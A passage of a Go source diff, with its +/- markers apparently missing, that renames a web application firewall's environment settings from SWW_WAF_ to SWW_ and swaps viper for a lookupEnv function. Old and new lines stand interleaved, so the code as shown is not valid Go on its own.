// with _FILE added names the file, which is read now (see lookup). A
// setting that is not set takes its default. A setting that is set but
// invalid is an error that names it.
// FromEnvironment reads the settings with lookupEnv, normally
// os.LookupEnv. A setting may instead be given as a file: the variable
// named by the setting's name with _FILE added names the file, which is
// read now (see lookup). A setting that is not set takes its default. A
// setting that is set but invalid is an error that names it.
//
//nolint:funlen // one line for each setting, a list that grows with them
func FromEnvironment(v *viper.Viper) (*Config, error) {
env := &environment{v: v}
func FromEnvironment(
lookupEnv func(string) (string, bool),
) (*Config, error) {
env := &environment{lookupEnv: lookupEnv}
cfg := &Config{
ListenAddr: env.address("SWW_WAF_LISTEN_ADDR"),
ListenAddr: env.address("SWW_LISTEN_ADDR"),
InstanceName: env.instanceName(),
Observe: env.observe("SWW_WAF_MODE", "enforce"),
IPv6GroupPrefix: env.ipv6GroupPrefix("SWW_WAF_IPV6_GROUP_PREFIX", "64"),
MaxTrackedClients: env.numberNotOff("SWW_WAF_MAX_TRACKED_CLIENTS", "20000"),
AllowNets: env.netblocks("SWW_WAF_ALLOW_NETS", ""),
RateLimitExemptNets: env.netblocks("SWW_WAF_RATE_LIMIT_EXEMPT_NETS", ""),
DenyNets: env.netblocks("SWW_WAF_DENY_NETS", ""),
RateLimitPerMinute: env.count("SWW_WAF_RATE_LIMIT_PER_MINUTE", "120"),
RateLimitPerHour: env.count("SWW_WAF_RATE_LIMIT_PER_HOUR", "1500"),
RateLimitPerDay: env.count("SWW_WAF_RATE_LIMIT_PER_DAY", "6000"),
RateLimitExemptPaths: env.pathPrefixes("SWW_WAF_RATE_LIMIT_EXEMPT_PATHS", ""),
BytesLimitPerMinute: env.size("SWW_WAF_BYTES_LIMIT_PER_MINUTE", "off"),
BytesLimitPerHour: env.size("SWW_WAF_BYTES_LIMIT_PER_HOUR", "50G"),
BytesLimitPerDay: env.size("SWW_WAF_BYTES_LIMIT_PER_DAY", "100G"),
BytesCount: env.bytesCount("SWW_WAF_BYTES_COUNT", "both"),
LookupSource: env.lookupSource("SWW_WAF_LOOKUP_SOURCE", "geojs"),
LookupDBPath: env.value("SWW_WAF_LOOKUP_DB_PATH", ""),
LookupTimeout: env.durationNotOff("SWW_WAF_LOOKUP_TIMEOUT", "800ms"),
AddLookupHeaders: env.boolean("SWW_WAF_ADD_LOOKUP_HEADERS", "false"),
Observe: env.observe("SWW_MODE", "enforce"),
IPv6GroupPrefix: env.ipv6GroupPrefix("SWW_IPV6_GROUP_PREFIX", "64"),
MaxTrackedClients: env.numberNotOff("SWW_MAX_TRACKED_CLIENTS", "20000"),
AllowNets: env.netblocks("SWW_ALLOW_NETS", ""),
RateLimitExemptNets: env.netblocks("SWW_RATE_LIMIT_EXEMPT_NETS", ""),
DenyNets: env.netblocks("SWW_DENY_NETS", ""),
RateLimitPerMinute: env.count("SWW_RATE_LIMIT_PER_MINUTE", "120"),
RateLimitPerHour: env.count("SWW_RATE_LIMIT_PER_HOUR", "1500"),
RateLimitPerDay: env.count("SWW_RATE_LIMIT_PER_DAY", "6000"),
RateLimitExemptPaths: env.pathPrefixes("SWW_RATE_LIMIT_EXEMPT_PATHS", ""),
BytesLimitPerMinute: env.size("SWW_BYTES_LIMIT_PER_MINUTE", "off"),
BytesLimitPerHour: env.size("SWW_BYTES_LIMIT_PER_HOUR", "50G"),
BytesLimitPerDay: env.size("SWW_BYTES_LIMIT_PER_DAY", "100G"),
BytesCount: env.bytesCount("SWW_BYTES_COUNT", "both"),
LookupSource: env.lookupSource("SWW_LOOKUP_SOURCE", "geojs"),
LookupDBPath: env.value("SWW_LOOKUP_DB_PATH", ""),
LookupTimeout: env.durationNotOff("SWW_LOOKUP_TIMEOUT", "800ms"),
AddLookupHeaders: env.boolean("SWW_ADD_LOOKUP_HEADERS", "false"),
ExclusivelyAllowedCountries: env.countries(
"SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES", ""),
TagLists: env.tagLists("SWW_WAF_TAG_LISTS"),
TagDeny: env.tags("SWW_WAF_TAG_DENY"),
TagLimitPercent: env.tagPercents("SWW_WAF_TAG_LIMIT_PERCENT"),
RouteWatchURL: env.routeWatchURL("SWW_WAF_ROUTEWATCH_URL"),
ASNBytesPercent: env.percents("SWW_WAF_ASN_BYTES_PERCENT", ParseASN),
CountryBytesPercent: env.percents("SWW_WAF_COUNTRY_BYTES_PERCENT", parseCountry),
UnknownLimitPercent: env.percent("SWW_WAF_UNKNOWN_LIMIT_PERCENT", "100"),
ASNLimitPercentURL: env.listURL("SWW_WAF_ASN_LIMIT_PERCENT_URL"),
BlocklistURLs: env.listURLs("SWW_WAF_BLOCKLIST_URLS"),
BlocklistRefresh: env.refresh("SWW_WAF_BLOCKLIST_REFRESH", "24h"),
DNSBLZones: env.zones("SWW_WAF_DNSBL_ZONES"),
DNSBLResolver: env.resolver("SWW_WAF_DNSBL_RESOLVER"),
AbuseIPDBKey: env.secret("SWW_WAF_ABUSEIPDB_KEY"),
AbuseIPDBMinScore: env.percent("SWW_WAF_ABUSEIPDB_MIN_SCORE", "75"),
AbuseIPDBDailyBudget: env.numberNotOff("SWW_WAF_ABUSEIPDB_DAILY_BUDGET", "900"),
ReputationCacheTTL: env.durationNotOff("SWW_WAF_REPUTATION_CACHE_TTL", "24h"),
ReputationTimeout: env.durationNotOff("SWW_WAF_REPUTATION_TIMEOUT", "2s"),
CrowdSecDecisionsURL: env.crowdSecDecisionsURL("SWW_WAF_CROWDSEC_LAPI_URL"),
CrowdSecKey: env.secret("SWW_WAF_CROWDSEC_LAPI_KEY"),
BanResponse: env.banResponse("SWW_WAF_BAN_RESPONSE", "403"),
LimitBanDuration: env.durationNotOff("SWW_WAF_LIMIT_BAN_DURATION", "1h"),
LimitBanRepeatWindow: env.durationNotOff("SWW_WAF_LIMIT_BAN_REPEAT_WINDOW", "24h"),
MaxBanDuration: env.durationNotOff("SWW_WAF_MAX_BAN_DURATION", "7d"),
AttackBanDuration: env.durationNotOff("SWW_WAF_ATTACK_BAN_DURATION", "7d"),
MaxBans: env.numberNotOff("SWW_WAF_MAX_BANS", "5000"),
BanScopeV4Prefix: env.v4Prefix("SWW_WAF_BAN_SCOPE_V4_PREFIX", "32"),
StateDir: env.absolutePath("SWW_WAF_STATE_DIR", "/var/lib/sww"),
StateWriteDelay: env.durationNotOff("SWW_WAF_STATE_WRITE_DELAY", "10s"),
StateCounterInterval: env.durationNotOff("SWW_WAF_STATE_COUNTER_INTERVAL", "15m"),
LogRequestHeaders: env.headerNames("SWW_WAF_LOG_REQUEST_HEADERS",
"SWW_EXCLUSIVELY_ALLOWED_COUNTRIES", ""),
TagLists: env.tagLists("SWW_TAG_LISTS"),
TagDeny: env.tags("SWW_TAG_DENY"),
TagLimitPercent: env.tagPercents("SWW_TAG_LIMIT_PERCENT"),
RouteWatchURL: env.routeWatchURL("SWW_ROUTEWATCH_URL"),
ASNBytesPercent: env.percents("SWW_ASN_BYTES_PERCENT", ParseASN),
CountryBytesPercent: env.percents("SWW_COUNTRY_BYTES_PERCENT", parseCountry),
UnknownLimitPercent: env.percent("SWW_UNKNOWN_LIMIT_PERCENT", "100"),
ASNLimitPercentURL: env.listURL("SWW_ASN_LIMIT_PERCENT_URL"),
BlocklistURLs: env.listURLs("SWW_BLOCKLIST_URLS"),
BlocklistRefresh: env.refresh("SWW_BLOCKLIST_REFRESH", "24h"),
DNSBLZones: env.zones("SWW_DNSBL_ZONES"),
DNSBLResolver: env.resolver("SWW_DNSBL_RESOLVER"),
AbuseIPDBKey: env.secret("SWW_ABUSEIPDB_KEY"),
AbuseIPDBMinScore: env.percent("SWW_ABUSEIPDB_MIN_SCORE", "75"),
AbuseIPDBDailyBudget: env.numberNotOff("SWW_ABUSEIPDB_DAILY_BUDGET", "900"),
ReputationCacheTTL: env.durationNotOff("SWW_REPUTATION_CACHE_TTL", "24h"),
ReputationTimeout: env.durationNotOff("SWW_REPUTATION_TIMEOUT", "2s"),
CrowdSecDecisionsURL: env.crowdSecDecisionsURL("SWW_CROWDSEC_LAPI_URL"),
CrowdSecKey: env.secret("SWW_CROWDSEC_LAPI_KEY"),
BanResponse: env.banResponse("SWW_BAN_RESPONSE", "403"),
LimitBanDuration: env.durationNotOff("SWW_LIMIT_BAN_DURATION", "1h"),
LimitBanRepeatWindow: env.durationNotOff("SWW_LIMIT_BAN_REPEAT_WINDOW", "24h"),
MaxBanDuration: env.durationNotOff("SWW_MAX_BAN_DURATION", "7d"),
AttackBanDuration: env.durationNotOff("SWW_ATTACK_BAN_DURATION", "7d"),
MaxBans: env.numberNotOff("SWW_MAX_BANS", "5000"),
BanScopeV4Prefix: env.v4Prefix("SWW_BAN_SCOPE_V4_PREFIX", "32"),
StateDir: env.absolutePath("SWW_STATE_DIR", "/var/lib/sww"),
StateWriteDelay: env.durationNotOff("SWW_STATE_WRITE_DELAY", "10s"),
StateCounterInterval: env.durationNotOff("SWW_STATE_COUNTER_INTERVAL", "15m"),
LogRequestHeaders: env.headerNames("SWW_LOG_REQUEST_HEADERS",
"accept,accept-language,accept-encoding,content-type,origin,range"),
LogLevel: env.logLevel("SWW_WAF_LOG_LEVEL", "info"),
AdminToken: env.token("SWW_WAF_ADMIN_TOKEN"),
MetricsToken: env.token("SWW_WAF_METRICS_TOKEN"),
MetricsTopN: env.numberNotOff("SWW_WAF_METRICS_TOP_N", "50"),
RulesDir: env.value("SWW_WAF_RULES_DIR", "/etc/sww/rules.d"),
RulesEnabled: env.boolean("SWW_WAF_RULES_ENABLED", "true"),
WAFMode: env.wafMode("SWW_WAF_CORE_RULE_SET_MODE", WAFModeBlock),
WAFParanoiaLevel: env.paranoiaLevel("SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL", "1"),
WAFAnomalyThreshold: env.numberOrOff("SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD", "5"),
WAFDisabledRules: env.ruleIDs("SWW_WAF_CORE_RULE_SET_DISABLED_RULES",
LogLevel: env.logLevel("SWW_LOG_LEVEL", "info"),
AdminToken: env.token("SWW_ADMIN_TOKEN"),
MetricsToken: env.token("SWW_METRICS_TOKEN"),
MetricsTopN: env.numberNotOff("SWW_METRICS_TOP_N", "50"),
RulesDir: env.value("SWW_RULES_DIR", "/etc/sww/rules.d"),
RulesEnabled: env.boolean("SWW_RULES_ENABLED", "true"),
WAFMode: env.wafMode("SWW_WAF_MODE", WAFModeBlock),
WAFParanoiaLevel: env.paranoiaLevel("SWW_WAF_PARANOIA_LEVEL", "1"),
WAFAnomalyThreshold: env.numberOrOff("SWW_WAF_ANOMALY_THRESHOLD", "5"),
WAFDisabledRules: env.ruleIDs("SWW_WAF_DISABLED_RULES",
"920340,920420,920440,920640,930130,930140"),
WAFExemptPaths: env.pathPrefixes("SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS", ""),
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_CORE_RULE_SET_BODY_LIMIT", off),
WAFExemptPaths: env.pathPrefixes("SWW_WAF_EXEMPT_PATHS", ""),
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
CoreRuleSetExclusionsFile: env.filePath(
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE"),
TrapPaths: env.trapPaths("SWW_WAF_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWW_WAF_ERROR_BURST_THRESHOLD", "30"),
LogRemoteURL: env.logRemoteURL("SWW_WAF_LOG_REMOTE_URL"),
LogRemoteTLSCAs: env.certificates("SWW_WAF_LOG_REMOTE_TLS_CA_FILE"),
LogRemoteBuffer: env.numberNotOff("SWW_WAF_LOG_REMOTE_BUFFER", "10000"),
LogRemoteFacility: env.facility("SWW_WAF_LOG_REMOTE_FACILITY", "local0"),
AlertWebhookURL: env.webhookURL("SWW_WAF_ALERT_WEBHOOK_URL"),
AlertWebhookHeaders: env.webhookHeaders("SWW_WAF_ALERT_WEBHOOK_HEADERS"),
AlertSlackWebhookURL: env.webhookURL("SWW_WAF_ALERT_SLACK_WEBHOOK_URL"),
AlertNtfyURL: env.webhookURL("SWW_WAF_ALERT_NTFY_URL"),
AlertNtfyToken: env.secret("SWW_WAF_ALERT_NTFY_TOKEN"),
AlertEvents: env.alertEvents("SWW_WAF_ALERT_EVENTS",
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
LogRemoteTLSCAs: env.certificates("SWW_LOG_REMOTE_TLS_CA_FILE"),
LogRemoteBuffer: env.numberNotOff("SWW_LOG_REMOTE_BUFFER", "10000"),
LogRemoteFacility: env.facility("SWW_LOG_REMOTE_FACILITY", "local0"),
AlertWebhookURL: env.webhookURL("SWW_ALERT_WEBHOOK_URL"),
AlertWebhookHeaders: env.webhookHeaders("SWW_ALERT_WEBHOOK_HEADERS"),
AlertSlackWebhookURL: env.webhookURL("SWW_ALERT_SLACK_WEBHOOK_URL"),
AlertNtfyURL: env.webhookURL("SWW_ALERT_NTFY_URL"),
AlertNtfyToken: env.secret("SWW_ALERT_NTFY_TOKEN"),
AlertEvents: env.alertEvents("SWW_ALERT_EVENTS",
strings.Join(alerts.Events(), ",")),
AlertCooldown: env.duration("SWW_WAF_ALERT_COOLDOWN", "15m"),
AlertMaxPerHour: env.numberOrOff("SWW_WAF_ALERT_MAX_PER_HOUR", "60"),
AnomalyClient: env.thresholds("SWW_WAF_ANOMALY_CLIENT_"),
AnomalyNet: env.thresholds("SWW_WAF_ANOMALY_NET_"),
AnomalyASN: env.thresholds("SWW_WAF_ANOMALY_ASN_"),
AnomalyTotal: env.thresholds("SWW_WAF_ANOMALY_TOTAL_"),
AnomalyWatch: env.thresholds("SWW_WAF_WATCH_"),
AnomalyNetV4Prefix: env.v4Prefix("SWW_WAF_ANOMALY_NET_V4_PREFIX", "24"),
AnomalyNetV6Prefix: env.v6Prefix("SWW_WAF_ANOMALY_NET_V6_PREFIX", "48"),
WatchNets: env.namedNetblocks("SWW_WAF_WATCH_NETS"),
AlertCooldown: env.duration("SWW_ALERT_COOLDOWN", "15m"),
AlertMaxPerHour: env.numberOrOff("SWW_ALERT_MAX_PER_HOUR", "60"),
AnomalyClient: env.thresholds("SWW_ANOMALY_CLIENT_"),
AnomalyNet: env.thresholds("SWW_ANOMALY_NET_"),
AnomalyASN: env.thresholds("SWW_ANOMALY_ASN_"),
AnomalyTotal: env.thresholds("SWW_ANOMALY_TOTAL_"),
AnomalyWatch: env.thresholds("SWW_WATCH_"),
AnomalyNetV4Prefix: env.v4Prefix("SWW_ANOMALY_NET_V4_PREFIX", "24"),
AnomalyNetV6Prefix: env.v6Prefix("SWW_ANOMALY_NET_V6_PREFIX", "48"),
WatchNets: env.namedNetblocks("SWW_WATCH_NETS"),
}
cfg.LogRemoteAppName = env.appName("SWW_WAF_LOG_REMOTE_APP_NAME",
cfg.LogRemoteAppName = env.appName("SWW_LOG_REMOTE_APP_NAME",
cfg.InstanceName, cfg.LogRemoteURL != nil)
cfg.BlocklistAction, cfg.BlocklistLimitPercent = env.action(
"SWW_WAF_BLOCKLIST_ACTION", "deny")
"SWW_BLOCKLIST_ACTION", "deny")
cfg.ReputationAction, cfg.ReputationLimitPercent = env.action(
"SWW_WAF_REPUTATION_ACTION", "limit:25")
"SWW_REPUTATION_ACTION", "limit:25")
env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil)
env.checkLookupDBPath(cfg)
@@ -629,8 +629,8 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
// Command reads only SWW_COMMAND, the command the image runs and its
// health check checks: rproxy when it is unset or empty, or discriminator. It cannot
// be given as a file. Any other value is an error that names the setting.
func Command(v *viper.Viper) (string, error) {
command, _ := readSetting(v, "SWW_COMMAND")
func Command(lookupEnv func(string) (string, bool)) (string, error) {
command, _ := lookupEnv("SWW_COMMAND")
switch command {
case "", "rproxy":
@@ -642,22 +642,22 @@ func Command(v *viper.Viper) (string, error) {
}
}
// DiscriminatorListenAddr reads only SWW_WAF_LISTEN_ADDR, which may be given as a
// DiscriminatorListenAddr reads only SWW_LISTEN_ADDR, which may be given as a
// file, as FromEnvironment does. The health check in discriminator's container needs
// no other setting, so it reads no other, nor a file that another names.
func DiscriminatorListenAddr(v *viper.Viper) (string, error) {
env := &environment{v: v}
listenAddr := env.address("SWW_WAF_LISTEN_ADDR")
func DiscriminatorListenAddr(lookupEnv func(string) (string, bool)) (string, error) {
env := &environment{lookupEnv: lookupEnv}
listenAddr := env.address("SWW_LISTEN_ADDR")
return listenAddr, env.err
}
// InstanceName reads only SWW_WAF_INSTANCE_NAME, which may be given as a
// InstanceName reads only SWW_INSTANCE_NAME, which may be given as a
// file, as FromEnvironment does, so that the line saying a setting is
// invalid carries it too. A file that cannot be read gives the default
// here, and FromEnvironment then stops the start over it.
func InstanceName(v *viper.Viper) string {
env := &environment{v: v}
func InstanceName(lookupEnv func(string) (string, bool)) string {
env := &environment{lookupEnv: lookupEnv}
return env.instanceName()
}
@@ -673,23 +673,11 @@ func (c *Config) LogValue() slog.Value {
}
// environment is where FromEnvironment reads the settings: it notes each
// value for the log, and keeps the first error. It reads every setting
// through v, the viper NewViper returns, and honours each setting's _FILE
// form too.
// value for the log, and keeps the first error.
type environment struct {
v *viper.Viper
settings []slog.Attr
err error
}
// readSetting returns a setting's value and whether it is set, reading it
// through v.
func readSetting(v *viper.Viper, name string) (string, bool) {
if !v.IsSet(name) {
return "", false
}
return v.GetString(name), true
lookupEnv func(string) (string, bool)
settings []slog.Attr
err error
}
// value returns a setting's value, or its default when it is not set,
@@ -710,10 +698,10 @@ func (e *environment) value(name, defaultValue string) string {
// names, less one newline at their end. It notes that file's path for the
// log. Both variables set, or a file that cannot be read, is an error.
func (e *environment) lookup(name string) (string, bool) {
value, set := readSetting(e.v, name)
value, set := e.lookupEnv(name)
fileName := name + "_FILE"
path, inFile := readSetting(e.v, fileName)
path, inFile := e.lookupEnv(fileName)
if !inFile {
return value, set
}
@@ -905,7 +893,7 @@ func (e *environment) percents(
return percents
}
// tagLists reads SWW_WAF_TAG_LISTS, which is empty by default.
// tagLists reads SWW_TAG_LISTS, which is empty by default.
func (e *environment) tagLists(name string) []TagList {
lists, err := parseTagLists(e.value(name, ""))
e.check(name, err)
@@ -1069,32 +1057,32 @@ func (e *environment) lookupSource(name, defaultValue string) string {
return source
}
// checkLookupDBPath refuses SWW_WAF_LOOKUP_SOURCE=file without
// SWW_WAF_LOOKUP_DB_PATH, and SWW_WAF_LOOKUP_DB_PATH with any other source:
// checkLookupDBPath refuses SWW_LOOKUP_SOURCE=file without
// SWW_LOOKUP_DB_PATH, and SWW_LOOKUP_DB_PATH with any other source:
// one source at a time.
func (e *environment) checkLookupDBPath(cfg *Config) {
switch {
case cfg.LookupSource == fileSource && cfg.LookupDBPath == "":
e.check("SWW_WAF_LOOKUP_SOURCE", fmt.Errorf(
"is file while SWW_WAF_LOOKUP_DB_PATH is unset; %w", errNeedsDBPath))
e.check("SWW_LOOKUP_SOURCE", fmt.Errorf(
"is file while SWW_LOOKUP_DB_PATH is unset; %w", errNeedsDBPath))
case cfg.LookupSource != fileSource && cfg.LookupDBPath != "":
e.check("SWW_WAF_LOOKUP_DB_PATH", fmt.Errorf(
"is set while SWW_WAF_LOOKUP_SOURCE is %s; %w", cfg.LookupSource, errDBPathUnused))
e.check("SWW_LOOKUP_DB_PATH", fmt.Errorf(
"is set while SWW_LOOKUP_SOURCE is %s; %w", cfg.LookupSource, errDBPathUnused))
}
}
// checkCountriesAndLookups refuses a country in
// SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES whose tag is in SWW_WAF_TAG_DENY, and,
// while SWW_WAF_LOOKUP_SOURCE is off, each setting that needs clients looked
// up: the country list, SWW_WAF_ADD_LOOKUP_HEADERS, the tag settings that name
// SWW_EXCLUSIVELY_ALLOWED_COUNTRIES whose tag is in SWW_TAG_DENY, and,
// while SWW_LOOKUP_SOURCE is off, each setting that needs clients looked
// up: the country list, SWW_ADD_LOOKUP_HEADERS, the tag settings that name
// an asn= or country= tag, the biased thresholds,
// SWW_WAF_ASN_LIMIT_PERCENT_URL among them, of which
// SWW_WAF_UNKNOWN_LIMIT_PERCENT needs them only below 100, where it lowers a
// SWW_ASN_LIMIT_PERCENT_URL among them, of which
// SWW_UNKNOWN_LIMIT_PERCENT needs them only below 100, where it lowers a
// limit, and the anomaly thresholds per AS number.
func (e *environment) checkCountriesAndLookups(cfg *Config) {
for _, country := range cfg.ExclusivelyAllowedCountries {
if slices.Contains(cfg.TagDeny, CountryTagPrefix+country) {
e.check("SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES",
e.check("SWW_EXCLUSIVELY_ALLOWED_COUNTRIES",
fmt.Errorf("%q %w", country, errOnBothLists))
}
}
@@ -1113,77 +1101,77 @@ func (e *environment) checkCountriesAndLookups(cfg *Config) {
name string
set bool
}{
{"SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES", len(cfg.ExclusivelyAllowedCountries) > 0},
{"SWW_WAF_ADD_LOOKUP_HEADERS", cfg.AddLookupHeaders},
{"SWW_WAF_TAG_DENY", slices.ContainsFunc(cfg.TagDeny, onlyLookupGives)},
{"SWW_WAF_TAG_LIMIT_PERCENT", slices.ContainsFunc(
{"SWW_EXCLUSIVELY_ALLOWED_COUNTRIES", len(cfg.ExclusivelyAllowedCountries) > 0},
{"SWW_ADD_LOOKUP_HEADERS", cfg.AddLookupHeaders},
{"SWW_TAG_DENY", slices.ContainsFunc(cfg.TagDeny, onlyLookupGives)},
{"SWW_TAG_LIMIT_PERCENT", slices.ContainsFunc(
slices.Collect(maps.Keys(cfg.TagLimitPercent)), onlyLookupGives)},
{"SWW_WAF_ASN_BYTES_PERCENT", len(cfg.ASNBytesPercent) > 0},
{"SWW_WAF_COUNTRY_BYTES_PERCENT", len(cfg.CountryBytesPercent) > 0},
{"SWW_WAF_UNKNOWN_LIMIT_PERCENT", cfg.UnknownLimitPercent < 100},
{"SWW_WAF_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""},
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0},
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0},
{"SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE", cfg.AnomalyASN.BytesPerMinute > 0},
{"SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR", cfg.AnomalyASN.BytesPerHour > 0},
{"SWW_ASN_BYTES_PERCENT", len(cfg.ASNBytesPercent) > 0},
{"SWW_COUNTRY_BYTES_PERCENT", len(cfg.CountryBytesPercent) > 0},
{"SWW_UNKNOWN_LIMIT_PERCENT", cfg.UnknownLimitPercent < 100},
{"SWW_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""},
{"SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0},
{"SWW_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0},
{"SWW_ANOMALY_ASN_BYTES_PER_MINUTE", cfg.AnomalyASN.BytesPerMinute > 0},
{"SWW_ANOMALY_ASN_BYTES_PER_HOUR", cfg.AnomalyASN.BytesPerHour > 0},
} {
if setting.set {
e.check(setting.name, fmt.Errorf("is set while SWW_WAF_LOOKUP_SOURCE is off; %w",
e.check(setting.name, fmt.Errorf("is set while SWW_LOOKUP_SOURCE is off; %w",
errNeedsLookups))
}
}
}
// checkASNLimitPercentURL refuses SWW_WAF_ASN_LIMIT_PERCENT_URL naming a
// checkASNLimitPercentURL refuses SWW_ASN_LIMIT_PERCENT_URL naming a
// blocklist too: the file at a URL is fetched as one list or the other.
func (e *environment) checkASNLimitPercentURL(cfg *Config) {
if slices.Contains(cfg.BlocklistURLs, cfg.ASNLimitPercentURL) {
e.check("SWW_WAF_ASN_LIMIT_PERCENT_URL",
e.check("SWW_ASN_LIMIT_PERCENT_URL",
fmt.Errorf("%q %w", cfg.ASNLimitPercentURL, errInBlocklistURLs))
}
}
// checkCrowdSec refuses SWW_WAF_CROWDSEC_LAPI_URL without
// SWW_WAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
// checkCrowdSec refuses SWW_CROWDSEC_LAPI_URL without
// SWW_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
// that is fetched as another list too.
func (e *environment) checkCrowdSec(cfg *Config) {
decisionsURL := cfg.CrowdSecDecisionsURL
switch {
case decisionsURL != "" && cfg.CrowdSecKey == "":
e.check("SWW_WAF_CROWDSEC_LAPI_URL", fmt.Errorf(
"is set while SWW_WAF_CROWDSEC_LAPI_KEY is unset; %w", errNeedsLAPIKey))
e.check("SWW_CROWDSEC_LAPI_URL", fmt.Errorf(
"is set while SWW_CROWDSEC_LAPI_KEY is unset; %w", errNeedsLAPIKey))
case decisionsURL == "" && cfg.CrowdSecKey != "":
e.check("SWW_WAF_CROWDSEC_LAPI_KEY", fmt.Errorf(
"is set while SWW_WAF_CROWDSEC_LAPI_URL is unset; %w", errLAPIKeyUnused))
e.check("SWW_CROWDSEC_LAPI_KEY", fmt.Errorf(
"is set while SWW_CROWDSEC_LAPI_URL is unset; %w", errLAPIKeyUnused))
case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) ||
decisionsURL == cfg.ASNLimitPercentURL):
e.check("SWW_WAF_CROWDSEC_LAPI_URL",
fmt.Errorf("gives the decision list %q, which %w", decisionsURL, errAnotherList))
e.check("SWW_CROWDSEC_LAPI_URL", fmt.Errorf("gives the decision list %q, which %w",
decisionsURL, errAnotherList))
}
}
// checkTagLists refuses a list of SWW_WAF_TAG_LISTS whose URL is fetched as
// checkTagLists refuses a list of SWW_TAG_LISTS whose URL is fetched as
// another list too: the file at a URL is read as one kind of list.
func (e *environment) checkTagLists(cfg *Config) {
for _, list := range cfg.TagLists {
if slices.Contains(cfg.BlocklistURLs, list.URL) ||
list.URL == cfg.ASNLimitPercentURL || list.URL == cfg.CrowdSecDecisionsURL {
e.check("SWW_WAF_TAG_LISTS", fmt.Errorf("%q %w", list.URL, errFetchedOtherwise))
e.check("SWW_TAG_LISTS", fmt.Errorf("%q %w", list.URL, errFetchedOtherwise))
}
}
}
// checkTags refuses a tag of SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT that would
// checkTags refuses a tag of SWW_TAG_DENY or SWW_TAG_LIMIT_PERCENT that would
// never apply: crowdsec, whose request is refused before tags are acted on, and
// any tag these settings cannot give a request.
func (e *environment) checkTags(cfg *Config) {
for _, tag := range cfg.TagDeny {
e.check("SWW_WAF_TAG_DENY", checkTag(cfg, tag))
e.check("SWW_TAG_DENY", checkTag(cfg, tag))
}
for tag := range cfg.TagLimitPercent {
e.check("SWW_WAF_TAG_LIMIT_PERCENT", checkTag(cfg, tag))
e.check("SWW_TAG_LIMIT_PERCENT", checkTag(cfg, tag))
}
}
@@ -1228,13 +1216,13 @@ func requestCanGetTag(cfg *Config, tag string) bool {
})
}
// TagsNeedLookup reports whether SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT
// TagsNeedLookup reports whether SWW_TAG_DENY or SWW_TAG_LIMIT_PERCENT
// names an asn= or country= tag.
func (c *Config) TagsNeedLookup() bool {
return slices.ContainsFunc(c.TagDeny, isLookupTag) || tagLimitNeedsLookups(c)
}
// tagLimitNeedsLookups reports whether SWW_WAF_TAG_LIMIT_PERCENT names an asn=
// tagLimitNeedsLookups reports whether SWW_TAG_LIMIT_PERCENT names an asn=
// or country= tag.
func tagLimitNeedsLookups(cfg *Config) bool {
for tag := range cfg.TagLimitPercent {
@@ -1404,7 +1392,7 @@ func (e *environment) logRemoteURL(name string) *url.URL {
// unset. Its value names a file already, so, unlike the other settings,
// it has no _FILE form. Whoever uses the file reads it.
func (e *environment) filePath(name string) string {
path, _ := readSetting(e.v, name)
path, _ := e.lookupEnv(name)
e.settings = append(e.settings, slog.String(name, path))
return path
@@ -1414,7 +1402,7 @@ func (e *environment) filePath(name string) string {
// certificates. Unset or empty, it is nil. Its value names a file
// already, so, unlike the other settings, it has no _FILE form.
func (e *environment) certificates(name string) *x509.CertPool {
path, _ := readSetting(e.v, name)
path, _ := e.lookupEnv(name)
e.settings = append(e.settings, slog.String(name, path))
if path == "" {
@@ -1447,14 +1435,14 @@ func (e *environment) facility(name, defaultValue string) int {
return number
}
// instanceName reads SWW_WAF_INSTANCE_NAME, by default the host's name. It
// instanceName reads SWW_INSTANCE_NAME, by default the host's name. It
// must be valid UTF-8: the metrics library panics on a label that is not.
func (e *environment) instanceName() string {
hostname, _ := os.Hostname() // "" when the host has no name to give
value := e.value("SWW_WAF_INSTANCE_NAME", hostname)
value := e.value("SWW_INSTANCE_NAME", hostname)
if !utf8.ValidString(value) {
e.check("SWW_WAF_INSTANCE_NAME", fmt.Errorf("%q %w", value, errNotUTF8))
e.check("SWW_INSTANCE_NAME", fmt.Errorf("%q %w", value, errNotUTF8))
}
return value
@@ -1479,7 +1467,7 @@ func (e *environment) appName(
case set:
e.check(name, fmt.Errorf("%q %w", value, errNotAppName))
case sending:
e.check(name, fmt.Errorf("is unset, and SWW_WAF_INSTANCE_NAME %q, its default, %w",
e.check(name, fmt.Errorf("is unset, and SWW_INSTANCE_NAME %q, its default, %w",
value, errNotAppName))
}
@@ -1487,22 +1475,22 @@ func (e *environment) appName(
}
// checkInstanceNameForNtfy refuses an instance name that holds a control
